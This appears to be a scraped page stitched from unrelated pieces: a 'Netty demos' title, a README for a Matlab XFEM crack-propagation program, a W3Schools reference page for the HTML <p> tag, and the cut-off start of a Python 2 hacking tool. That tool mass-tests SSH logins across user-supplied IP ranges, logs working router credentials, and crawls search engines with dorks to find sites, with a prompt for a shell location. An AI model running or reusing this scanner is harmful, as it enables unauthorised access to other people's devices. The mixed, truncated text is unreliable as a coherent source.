Netty demos. （Netty 案例大全）

# XFEM_Fracture2D ### Description This is a Matlab program that can be used to solve fracture problems involving arbitrary multiple crack propagations in a 2D linear-elastic solid based on the principle of minimum potential energy. The extended finite element method is used to discretise the solid continuum considering cracks as discontinuities in the displacement field. To this end, a strong discontinuity enrichment and a square-root singular crack tip enrichment are used to describe each crack. Several crack growth criteria are available to determine the evolution of cracks over time; apart from the classic maximum tension (or hoop-stress) criterion, the minimum total energy criterion and the local symmetry criterion are implemented implicitly with respect to the discrete time-stepping. ### Key features * *Fast:* The stiffness matrix and the force vector (i.e. the equations' system) and the enrichment tracking data structures are updated at each time step only with respect to the changes in the fracture topology. This ultimately results in the major part of the computational expense in the solution to the linear system of equations rather than in the post-processing of the solution or in the assembly and updating of the equations. As Matlab offers fast and robust direct solvers, the computational times are reasonably fast. * *Robust.* Suitable for multiple crack propagations with intersections. Furthermore, the stress intensity factors are computed robustly via the interaction integral approach (with the inclusion of the terms to account for crack surface pressure, residual stresses or strains). The minimum total energy criterion and the principle of local symmetry are implemented implicitly in time. The energy release rates are computed based on the stiffness derivative approach using algebraic differentiation (rather than finite differencing of the potential energy). On the other hand, the crack growth direction based on the local symmetry criterion is determined such that the local mode-II stress intensity factor vanishes; the change in a crack tip kink angle is approximated using the ratio of the crack tip stress intensity factors. * *Easy to run.* Each job has its own input files which are independent form those of all other jobs. The code especially lends itself to running parametric studies. Various results can be saved relating to the fracture geometry, fracture mechanics parameters, and the elastic fields in the solid domain. Extensive visualisation library is available for plotting results. ### Instructions 1. Get started by running the demo to showcase some of the capabilities of the program and to determine if it can be useful for you. At the Matlab's command line enter: ```Matlab >> RUN_JOBS.m ``` This will execute a series of jobs located inside the *jobs directory* `./JOBS_LIBRARY/`. These jobs do not take very long to execute (around 5 minutes in total). 2. Subsequently, you can pick one of the jobs inside `./JOBS_LIBRARY/` by defining the job title: ```Matlab >> job_title = 'several_cracks/edge/vertical_tension' ``` 3. Then you can open all the relevant scripts for this job as follows: ```Matlab >> open_job ``` The following input scripts for the *job* will be open in the Matlab's editor: 1. `JOB_MAIN.m`: This is the job's main script. It is called when executing `RUN_JOB` (or `RUN_JOBS`) and acts like a wrapper. Notably, it can serve as a convenient interface to run parametric studies and to save intermediate simulation results. 2. `Input_Scope.m`: This defines the scope of the simulation. From which crack growth criteria to use, to what to compute and what results to show via plots and/or movies. To put it simply, the script is a bunch of "switches" that tell the program what the user wants to be done. 3. `Input_Material.m`: Defines the material's elastic properties in different regions or layers (called "phases") of the computational domain. Moreover, it defines the fracture toughness of the material (assumed to be constant in all material phases). 4. `Input_Crack.m`: Defines the initial crack geometry. 5. `Input_BC.m`: Defines boundary conditions, such as displacements, tractions, crack surface pressure (assumed to be constant in all cracks), body loads (e.g. gravity, pre-stress or pre-strain). 6. `Mesh_make.m`: In-house structured mesh generator for rectangular domains using either linear triangle or bilinear quadrilateral elements. It is possible to mesh horizontal layers using different mesh sizes. 7. `Mesh_read.m`: Gmsh based mesh reader for version-1 mesh files. Of course you can use your own mesh reader provided the output variables are of the correct format (see later). 8. `Mesh_file.m`: Specifies the mesh input file (.msh). At the moment, only Gmsh mesh files of version-1 are allowed. ### Mesh_file.m A mesh file needs to be able to output the following data or variables: * `mNdCrd`: Node coordinates, size = `[nNdStd, 2]` * `mLNodS`: Element connectivities, size = `[nElemn,nLNodS]` * `vElPhz`: Element material phase (or region) ID's, size = `[nElemn,1]` * `cBCNod`: cell of boundary nodes, cell size = `{nBound,1}`, cell element size = `[nBnNod,2]` Example mesh files are located in `./JOBS_LIBRARY/`. Gmsh version-1 file format is described [here](http://www.manpagez.com/info/gmsh/gmsh-2.4.0/gmsh_60.php). ### Additional notes * global variables are defined in `.\Routines_AuxInput\Declare_Global.m` * External libraries are `.\Other_Libs\distmesh` and `.\Other_Libs\mesh2d` ### References Two external meshing libraries are used for the local mesh refinement and remeshing at the crack tip during crack propagation or prior to a crack intersection with another crack or with a boundary of the domain. Specifically, these libraries, which are located in `.\Other_Libs\`, are the following: * [*mesh2d*](https://people.sc.fsu.edu/~jburkardt/m_src/mesh2d/mesh2d.html) by Darren Engwirda * [*distmesh*](http://persson.berkeley.edu/distmesh/) by Per-Olof Persson and Gilbert Strang. ### Issues and Support For support or questions please email [sutula.danas@gmail.com](mailto:sutula.danas@gmail.com). ### Authors Danas Sutula, University of Luxembourg, Luxembourg. If you find this code useful, we kindly ask that you consider citing us. * [Minimum energy multiple crack propagation](http://hdl.handle.net/10993/29414)

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title="How To">HOW TO</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp" title="W3.CSS Tutorial">W3.CSS</a> <a class="w3-bar-item w3-button" href="/java/default.asp" title="Java Tutorial">JAVA</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp" title="jQuery Tutorial">JQUERY</a> <a class="w3-bar-item w3-button" href="/c/index.php" title="C Tutorial">C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp" title="C++ Tutorial">C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php" title="C# Tutorial">C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp" title="R Tutorial">R</a> <a class="w3-bar-item w3-button" href="/react/default.asp" title="React Tutorial">React</a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gSearch(this)" title="Search W3Schools"></a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gTra(this)" title="Translate W3Schools"></a> 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href="/java/default.asp">Learn Java</a> <a class="w3-bar-item w3-button" href="/c/index.php">Learn C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp">Learn C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php">Learn C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp">Learn R</a> <a class="w3-bar-item w3-button" href="/kotlin/index.php">Learn Kotlin</a> <a class="w3-bar-item w3-button" href="/go/index.php">Learn Go</a> <a class="w3-bar-item w3-button" href="/django/index.php">Learn Django</a> <a class="w3-bar-item w3-button" href="/typescript/index.php">Learn TypeScript</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/default.asp">Learn SQL</a> <a class="w3-bar-item w3-button" href="/mysql/default.asp">Learn MySQL</a> <a class="w3-bar-item w3-button" href="/php/default.asp">Learn PHP</a> <a class="w3-bar-item w3-button" href="/asp/default.asp">Learn ASP</a> <a class="w3-bar-item w3-button" href="/nodejs/default.asp">Learn Node.js</a> <a class="w3-bar-item w3-button" href="/nodejs/nodejs_raspberrypi.asp">Learn Raspberry Pi</a> <a class="w3-bar-item w3-button" href="/git/default.asp">Learn Git</a> <a class="w3-bar-item w3-button" href="/aws/index.php">Learn AWS Cloud</a> <h3 class="w3-margin-top">Web Building</h3> <a class="w3-bar-item w3-button" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Create a Website <span class="ribbon-topnav ws-yellow">NEW</span></a> <a class="w3-bar-item w3-button" href="/where_to_start.asp">Where To Start</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_templates.asp">Web Templates</a> <a class="w3-bar-item w3-button" href="/browsers/default.asp">Web Statistics</a> <a class="w3-bar-item w3-button" href="/cert/default.asp">Web Certificates</a> <a class="w3-bar-item w3-button" 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Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <a class="w3-bar-item w3-button" href="/googlesheets/index.php">Learn Google Sheets</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> </div> <br class="hidesm"> </nav> <nav id="nav_references" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('references')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>References</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML</h3> <a class="w3-bar-item w3-button" href="/tags/default.asp">HTML Tag Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_html_browsersupport.asp">HTML Browser Support</a> <a class="w3-bar-item w3-button" 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href="/bootstrap4/bootstrap_ref_all_classes.asp">Bootstrap 4 Reference</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_references.asp">W3.CSS Reference</a> <a class="w3-bar-item w3-button" href="/icons/icons_reference.asp">Icon Reference</a> <a class="w3-bar-item w3-button" href="/sass/sass_functions_string.php">Sass Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/jsref/default.asp">JavaScript Reference</a> <a class="w3-bar-item w3-button" href="/jsref/default.asp">HTML DOM Reference</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_ref_overview.asp">jQuery Reference</a> <a class="w3-bar-item w3-button" href="/angular/angular_ref_directives.asp">AngularJS Reference</a> <a class="w3-bar-item w3-button" href="/appml/appml_reference.asp">AppML Reference</a> <a class="w3-bar-item w3-button" href="/w3js/w3js_references.asp">W3.JS Reference</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/python_reference.asp">Python Reference</a> <a class="w3-bar-item w3-button" href="/java/java_ref_keywords.asp">Java Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/sql_ref_keywords.asp">SQL Reference</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_ref_functions.asp">MySQL Reference</a> <a class="w3-bar-item w3-button" href="/php/php_ref_overview.asp">PHP Reference</a> <a class="w3-bar-item w3-button" href="/asp/asp_ref_response.asp">ASP Reference</a> <h3 class="w3-margin-top">XML</h3> <a class="w3-bar-item w3-button" href="/xml/dom_nodetype.asp">XML DOM Reference</a> <a class="w3-bar-item w3-button" href="/xml/dom_http.asp">XML Http Reference</a> <a class="w3-bar-item w3-button" href="/xml/xsl_elementref.asp">XSLT Reference</a> <a class="w3-bar-item w3-button" href="/xml/schema_elements_ref.asp">XML Schema Reference</a> </div> <div class="w3-col l3 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target="_top" href="tag_label.asp">&lt;label&gt;</a> <a target="_top" href="tag_legend.asp">&lt;legend&gt;</a> <a target="_top" href="tag_li.asp">&lt;li&gt;</a> <a target="_top" href="tag_link.asp">&lt;link&gt;</a> <a target="_top" href="tag_main.asp">&lt;main&gt;</a> <a target="_top" href="tag_map.asp">&lt;map&gt;</a> <a target="_top" href="tag_mark.asp">&lt;mark&gt;</a> <a target="_top" href="tag_meta.asp">&lt;meta&gt;</a> <a target="_top" href="tag_meter.asp">&lt;meter&gt;</a> <a target="_top" href="tag_nav.asp">&lt;nav&gt;</a> <a target="_top" href="tag_noframes.asp">&lt;noframes&gt;</a> <a target="_top" href="tag_noscript.asp">&lt;noscript&gt;</a> <a target="_top" href="tag_object.asp">&lt;object&gt;</a> <a target="_top" href="tag_ol.asp">&lt;ol&gt;</a> <a target="_top" href="tag_optgroup.asp">&lt;optgroup&gt;</a> <a target="_top" href="tag_option.asp">&lt;option&gt;</a> <a target="_top" href="tag_output.asp">&lt;output&gt;</a> <a target="_top" href="tag_p.asp" class="active">&lt;p&gt;</a> <a target="_top" href="tag_param.asp">&lt;param&gt;</a> <a target="_top" href="tag_picture.asp">&lt;picture&gt;</a> <a target="_top" href="tag_pre.asp">&lt;pre&gt;</a> <a target="_top" href="tag_progress.asp">&lt;progress&gt;</a> <a target="_top" href="tag_q.asp">&lt;q&gt;</a> <a target="_top" href="tag_rp.asp">&lt;rp&gt;</a> <a target="_top" href="tag_rt.asp">&lt;rt&gt;</a> <a target="_top" href="tag_ruby.asp">&lt;ruby&gt;</a> <a target="_top" href="tag_s.asp">&lt;s&gt;</a> <a target="_top" href="tag_samp.asp">&lt;samp&gt;</a> <a target="_top" href="tag_script.asp">&lt;script&gt;</a> <a target="_top" href="tag_section.asp">&lt;section&gt;</a> <a target="_top" href="tag_select.asp">&lt;select&gt;</a> <a target="_top" href="tag_small.asp">&lt;small&gt;</a> <a target="_top" href="tag_source.asp">&lt;source&gt;</a> <a target="_top" href="tag_span.asp">&lt;span&gt;</a> <a target="_top" href="tag_strike.asp">&lt;strike&gt;</a> <a target="_top" href="tag_strong.asp">&lt;strong&gt;</a> <a target="_top" href="tag_style.asp">&lt;style&gt;</a> <a target="_top" href="tag_sub.asp">&lt;sub&gt;</a> <a target="_top" href="tag_summary.asp">&lt;summary&gt;</a> <a target="_top" href="tag_sup.asp">&lt;sup&gt;</a> <a target="_top" href="tag_svg.asp">&lt;svg&gt;</a> <a target="_top" href="tag_table.asp">&lt;table&gt;</a> <a target="_top" href="tag_tbody.asp">&lt;tbody&gt;</a> <a target="_top" href="tag_td.asp">&lt;td&gt;</a> <a target="_top" href="tag_template.asp">&lt;template&gt;</a> <a target="_top" href="tag_textarea.asp">&lt;textarea&gt;</a> <a target="_top" href="tag_tfoot.asp">&lt;tfoot&gt;</a> <a target="_top" href="tag_th.asp">&lt;th&gt;</a> <a target="_top" href="tag_thead.asp">&lt;thead&gt;</a> <a target="_top" href="tag_time.asp">&lt;time&gt;</a> <a target="_top" href="tag_title.asp">&lt;title&gt;</a> <a target="_top" href="tag_tr.asp">&lt;tr&gt;</a> <a target="_top" href="tag_track.asp">&lt;track&gt;</a> <a target="_top" href="tag_tt.asp">&lt;tt&gt;</a> <a target="_top" href="tag_u.asp">&lt;u&gt;</a> <a target="_top" href="tag_ul.asp">&lt;ul&gt;</a> <a target="_top" href="tag_var.asp">&lt;var&gt;</a> <a target="_top" href="tag_video.asp">&lt;video&gt;</a> <a target="_top" href="tag_wbr.asp">&lt;wbr&gt;</a> </div> <br><br> </div> </div> </div> <div class="w3-main w3-light-grey" id="belowtopnav" style="margin-left: 220px; padding-top: 44px;"> <div class="w3-row w3-white"> <div class="w3-col l10 m12" id="main"> <div id="mainLeaderboard" style="overflow:hidden;"> <!-- MainLeaderboard--> <!--<pre>main_leaderboard, all: [728,90][970,90][320,50][468,60]</pre>--> <div id="adngin-main_leaderboard-0" data-google-query-id="CJPA_sueqvcCFXiOSwUd2fYBLg"><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" title="3rd party ad content" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="7" style="border: 0px; vertical-align: bottom;" data-load-complete="true"><div style="position: absolute; width: 0px; height: 0px; border: 0px; padding: 0px; margin: 0px; overflow: hidden;"><button></button><a href="https://yahoo.com"></a><input></div></iframe></div></div> <!-- adspace leaderboard --> </div> <h1>HTML <span class="color_h1">&lt;p&gt;</span> Tag</h1> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <br> <div class="w3-example"> <h3>Example</h3> <p>A paragraph is marked up as follows:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs1" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <p>More "Try it Yourself" examples below.</p> <hr> <h2>Definition and Usage</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag defines a paragraph.</p> <p>Browsers automatically add a single blank line before and after each <code class="w3-codespan">&lt;p&gt;</code> element.</p> <p><strong>Tip:</strong> Use CSS to <a href="/html/html_css.asp">style paragraphs</a>.</p> <hr> <h2>Browser Support</h2> <table class="browserref notranslate"> <tbody><tr> <th style="width:20%;font-size:16px;text-align:left;">Element</th> <th style="width:16%;" class="bsChrome" title="Chrome"></th> <th style="width:16%;" class="bsEdge" title="Internet Explorer / Edge"></th> <th style="width:16%;" class="bsFirefox" title="Firefox"></th> <th style="width:16%;" class="bsSafari" title="Safari"></th> <th style="width:16%;" class="bsOpera" title="Opera"></th> </tr><tr> <td style="text-align:left;">&lt;p&gt;</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> </tr> </tbody></table> <hr> <h2>Global Attributes</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag also supports the <a href="ref_standardattributes.asp">Global Attributes in HTML</a>.</p> <hr> <h2>Event Attributes</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag also supports the <a href="ref_eventattributes.asp">Event Attributes in HTML</a>.</p> <hr> <div id="midcontentadcontainer" style="overflow:auto;text-align:center"> <!-- MidContent --> <!-- <p class="adtext">Advertisement</p> --> <div id="adngin-mid_content-0" data-google-query-id="CKfs_8ueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-mid_content-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1__container__" style="border: 0pt none; display: inline-block; width: 300px; height: 250px;"><iframe frameborder="0" src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" width="300" height="250" data-is-safeframe="true" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" role="region" aria-label="Advertisement" tabindex="0" data-google-container-id="8" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> <hr> <h2>More Examples</h2> <div class="w3-example"> <h3>Example</h3> <p>Align text in a paragraph (with CSS):</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="attributecolor" style="color:red"> style<span class="attributevaluecolor" style="color:mediumblue">="text-align:right"</span></span><span class="tagcolor" style="color:mediumblue">&gt;</span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_align_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Style paragraphs with CSS:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>html<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>head<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>style<span class="tagcolor" style="color:mediumblue">&gt;</span></span><span class="cssselectorcolor" style="color:brown"><br>p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br>&nbsp; color<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> navy<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; text-indent<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 30px<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; text-transform<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> uppercase<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span><br></span><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/style<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/head<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>body<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/body<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/html<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_style_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>&nbsp;More on paragraphs:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br>This paragraph<br>contains a lot of lines<br>in the source code,<br> but the browser <br>ignores it.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs2" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Poem problems in HTML:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br>My Bonnie lies over the ocean.<br>My Bonnie lies over the sea.<br>My Bonnie lies over the ocean.<br>Oh, bring back my Bonnie to me.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_poem" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <hr> <h2>Related Pages</h2> <p>HTML tutorial: <a href="/html/html_paragraphs.asp">HTML Paragraphs</a></p> <p>HTML DOM reference: <a href="/jsref/dom_obj_paragraph.asp">Paragraph Object</a></p> <hr> <h2>Default CSS Settings</h2> <p>Most browsers will display the <code class="w3-codespan">&lt;p&gt;</code> element with the following default values:</p> <div class="w3-example"> <h3>Example</h3> <div class="w3-code notranslate cssHigh"><span class="cssselectorcolor" style="color:brown"> p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br>&nbsp; display<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> block<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-top<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-bottom<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-left<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp;&nbsp;margin-right<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span> </span></div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_default_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <br> <br> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <div id="mypagediv2" style="position:relative;text-align:center;"></div> <br> </div> <div class="w3-col l2 m12" id="right"> <div class="sidesection"> <div id="skyscraper"> <div id="adngin-sidebar_top-0" data-google-query-id="CJXA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-sidebar_top-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1__container__" 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#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for 